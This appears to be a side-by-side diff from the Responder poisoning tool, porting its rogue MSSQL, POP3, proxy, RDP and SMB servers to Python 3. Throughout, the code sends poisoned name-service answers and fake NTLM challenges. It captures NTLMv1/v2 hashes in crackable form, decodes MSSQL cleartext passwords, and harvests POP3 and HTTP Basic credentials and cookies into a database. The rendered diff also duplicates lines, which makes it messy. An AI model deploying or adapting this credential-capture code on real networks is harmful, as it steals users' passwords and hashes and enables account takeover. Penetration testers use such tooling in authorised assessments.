self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client, Challenge): def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:] SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0] LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0] LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[30:32])[0] NthashLen = struct.unpack('<H',data[30:32])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0] NthashOffset = struct.unpack('<H',data[32:34])[0]
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]
NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',data[36:38])[0] DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0] DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','') Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[44:46])[0] UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0] UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
if NthashLen == 24: if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@ -85,7 +88,7 @@ def ParseSQLHash(data, client, Challenge):
}) })
if NthashLen > 60: if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])
SaveToDb({ SaveToDb({
'module': 'MSSQL', 'module': 'MSSQL',
@ -99,10 +102,10 @@ def ParseSQLHash(data, client, Challenge):
def ParseSqlClearTxtPwd(Pwd): def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5','')) Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = '' Pw = b''
for x in Pwd: for x in Pwd:
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex')
return Pw return Pw.decode('latin-1')
def ParseClearTextSQLPass(data, client): def ParseClearTextSQLPass(data, client):
@ -122,27 +125,32 @@ class MSSQL(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.ntry = 0
while True:
data = self.request.recv(1024) data = self.request.recv(1024)
if settings.Config.Verbose: self.request.settimeout(1)
print text("[MSSQL] Received connection from %s" % self.client_address[0])
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Challenge = RandomChallenge() Challenge = RandomChallenge()
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
if not data:
break
if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024)
if data[0] == b"\x10" or data[0] == 16: # NegoSSP
if re.search(b'NTLMSSP',data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Packet.calculate() Packet.calculate()
Buffer = str(Packet) Buffer = str(Packet)
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
data = self.request.recv(1024) data = self.request.recv(1024)
else: else:
ParseClearTextSQLPass(data,self.client_address[0]) ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth
ParseSQLHash(data,self.client_address[0],Challenge) ParseSQLHash(data,self.client_address[0],Challenge)
except: except:
@ -153,26 +161,26 @@ class MSSQL(BaseRequestHandler):
class MSSQLBrowser(BaseRequestHandler): class MSSQLBrowser(BaseRequestHandler):
def handle(self): def handle(self):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]))
data, soc = self.request data, soc = self.request
if data: if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER") self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST elif data[0] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00")) self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC elif data[0] == b'\x0F': # CLNT_UCAST_DAC
self.send_dac_response(soc) self.send_dac_response(soc)
def send_response(self, soc, inst): def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]))
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address) soc.sendto(struct.pack("<BH", 0x05, len(resp)) + NetworkSendBufferPython2or3(resp), self.client_address)
def send_dac_response(self, soc): def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]) print(text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]))
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address) soc.sendto(NetworkSendBufferPython2or3(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433)), self.client_address)

View file

@ -15,25 +15,33 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import POPOKPacket from packets import POPOKPacket,POPNotOKPacket
# POP3 Server class # POP3 Server class
class POP3(BaseRequestHandler): class POP3(BaseRequestHandler):
def SendPacketAndRead(self): def SendPacketAndRead(self):
Packet = POPOKPacket() Packet = POPOKPacket()
self.request.send(str(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
return self.request.recv(1024) return self.request.recv(1024)
def handle(self): def handle(self):
try: try:
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == b'CAPA':
if data[0:4] == "USER": self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
User = data[5:].replace("\r\n","") data = self.request.recv(1024)
if data[0:4] == b'AUTH':
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
data = self.request.recv(1024)
if data[0:4] == b'USER':
User = data[5:].strip(b"\r\n").decode("latin-1")
data = self.SendPacketAndRead() data = self.SendPacketAndRead()
if data[0:4] == "PASS": if data[0:4] == b'PASS':
Pass = data[5:].replace("\r\n","") Pass = data[5:].strip(b"\r\n").decode("latin-1")
SaveToDb({ SaveToDb({
'module': 'POP3', 'module': 'POP3',

View file

@ -14,15 +14,18 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import SocketServer
from HTTP import ParseHTTPHash
from packets import *
from utils import * from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from servers.HTTP import ParseHTTPHash
from packets import *
def GrabUserAgent(data): def GrabUserAgent(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent: if UserAgent:
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)))
def GrabCookie(data): def GrabCookie(data):
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
@ -31,7 +34,7 @@ def GrabCookie(data):
Cookie = Cookie.group(0).replace('Cookie: ', '') Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1: if len(Cookie) > 1:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)))
return Cookie return Cookie
return False return False
@ -42,7 +45,7 @@ def GrabHost(data):
if Host: if Host:
Host = Host.group(0).replace('Host: ', '') Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2)))
return Host return Host
return False return False
@ -52,22 +55,21 @@ def PacketSequence(data, client, Challenge):
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01": if Packet_NTLM == b'\x01':
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate(str(Buffer)) return Buffer_Ans
return str(Buffer_Ans)
if Packet_NTLM == "\x03": if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
return False #Send a RST with SO_LINGER when close() is called (see Responder.py) return False
else: else:
return False return False
@ -75,13 +77,13 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'Proxy-Auth', 'module': 'Proxy-Auth',
'type': 'Basic', 'type': 'Basic',
'client': client, 'client': client,
'user': ClearText_Auth.split(':')[0], 'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.split(':')[1], 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
}) })
return False return False
@ -89,22 +91,49 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic: if settings.Config.Basic:
Response = WPAD_Basic_407_Ans() Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
else: else:
Response = WPAD_Auth_407_Ans() Response = WPAD_Auth_407_Ans()
return str(Response) return str(Response)
class Proxy_Auth(SocketServer.BaseRequestHandler): class Proxy_Auth(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge() Challenge = RandomChallenge()
for x in range(2): while True:
data = self.request.recv(4096) self.request.settimeout(3)
self.request.send(PacketSequence(data, self.client_address[0], Challenge)) remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except: except:
pass pass

View file

@ -14,71 +14,79 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from utils import * from utils import *
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
import struct import struct
import re import re
import ssl import ssl
import codecs
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2 def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0] LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0] NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0] NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24: if NthashLen == 24:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'RDP', 'module': 'RDP',
'type': 'NTLMv1-SSP', 'type': 'NTLMv1-SSP',
'client': client, 'client': client,
'user': Domain+'\\'+Username, 'user': Domain+'\\'+Username,
'hash': NTLMHash, 'hash': SMBHash,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
if NthashLen > 60: if NthashLen > 60:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:]) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({ SaveToDb({
'module': 'RDP', 'module': 'RDP',
'type': 'NTLMv2-SSP', 'type': 'NTLMv2-SSP',
'client': client, 'client': client,
'user': Domain+'\\'+Username, 'user': Domain+'\\'+Username,
'hash': NTLMHash, 'hash': SMBHash,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def FindNTLMNegoStep(data): def FindNTLMNegoStep(data):
NTLMStart = data.find('NTLMSSP') NTLMStart = data.find(b'NTLMSSP')
NTLMString = data[NTLMStart:] NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12] NTLMStep = NTLMString[8:12]
if NTLMStep == "\x01\x00\x00\x00": if NTLMStep == b'\x01\x00\x00\x00':
return NTLMStep return NTLMStep
if NTLMStep == "\x03\x00\x00\x00": if NTLMStep == b'\x03\x00\x00\x00':
return NTLMStep return NTLMStep
else: else:
return False return False
@ -90,42 +98,42 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30) self.request.settimeout(30)
Challenge = RandomChallenge() Challenge = RandomChallenge()
if data[11:12] == "\x01": if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer()) x = X224(Data=RDPNEGOAnswer())
x.calculate() x.calculate()
h = TPKT(Data=x) h = TPKT(Data=x)
h.calculate() h.calculate()
buffer1 = str(h) buffer1 = str(h)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30) SSLsock.settimeout(30)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00": if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge) x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate() x.calculate()
SSLsock.write(str(x)) SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00": if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge) ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around.. ##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == "\x03\x00\x00\x00": if data[len(data)-4:] == b'\x03\x00\x00\x00':
x = X224(Data=RDPNEGOAnswer()) x = X224(Data=RDPNEGOAnswer())
x.calculate() x.calculate()
h = TPKT(Data=x) h = TPKT(Data=x)
h.calculate() h.calculate()
buffer1 = str(h) buffer1 = str(h)
self.request.send(buffer1) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092) data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00": if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge) x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
x.calculate() x.calculate()
SSLsock.write(str(x)) SSLsock.write(NetworkSendBufferPython2or3(x))
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00": if FindNTLMNegoStep(data) == b'\x03\x00\x00\x00':
ParseNTLMHash(data,self.client_address[0], Challenge) ParseNTLMHash(data,self.client_address[0], Challenge)
else: else:

View file

@ -14,12 +14,15 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct, re
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from random import randrange from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
from SocketServer import BaseRequestHandler
from utils import *
import struct
import re
def Is_Anonymous(data): # Detect if SMB auth was Anonymous def Is_Anonymous(data): # Detect if SMB auth was Anonymous
@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data):
if Dialect[i] == 'NT LM 0.12': if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00' return chr(i) + '\x00'
def midcalc(data): #Set MID SMB Header field. def midcalc(data): #Set MID SMB Header field.
return data[34:36] return data[34:36]
def uidcalc(data): #Set UID SMB Header field. def uidcalc(data): #Set UID SMB Header field.
return data[32:34] return data[32:34]
def pidcalc(data): #Set PID SMB Header field. def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32] pack=data[30:32]
return pack return pack
def tidcalc(data): #Set TID SMB Header field. def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30] pack=data[28:30]
return pack return pack
def ParseShare(data): def ParseShare(data):
packet = data[:] packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a: if a:
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')))
def GrabMessageID(data): def GrabMessageID(data):
Messageid = data[28:36] Messageid = data[28:36]
@ -74,8 +72,8 @@ def GrabMessageID(data):
def GrabCreditRequested(data): def GrabCreditRequested(data):
CreditsRequested = data[18:20] CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00": if CreditsRequested == b'\x00\x00':
CreditsRequested = "\x01\x00" CreditsRequested = b'\x01\x00'
else: else:
CreditsRequested = data[18:20] CreditsRequested = data[18:20]
return CreditsRequested return CreditsRequested
@ -89,23 +87,25 @@ def GrabSessionID(data):
return SessionID return SessionID
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0] LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0] NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0] NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24: if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE') Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex')) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({ SaveToDb({
'module': 'SMB', 'module': 'SMB',
@ -117,14 +117,15 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
}) })
if NthashLen > 60: if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0] DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE') Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0] UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
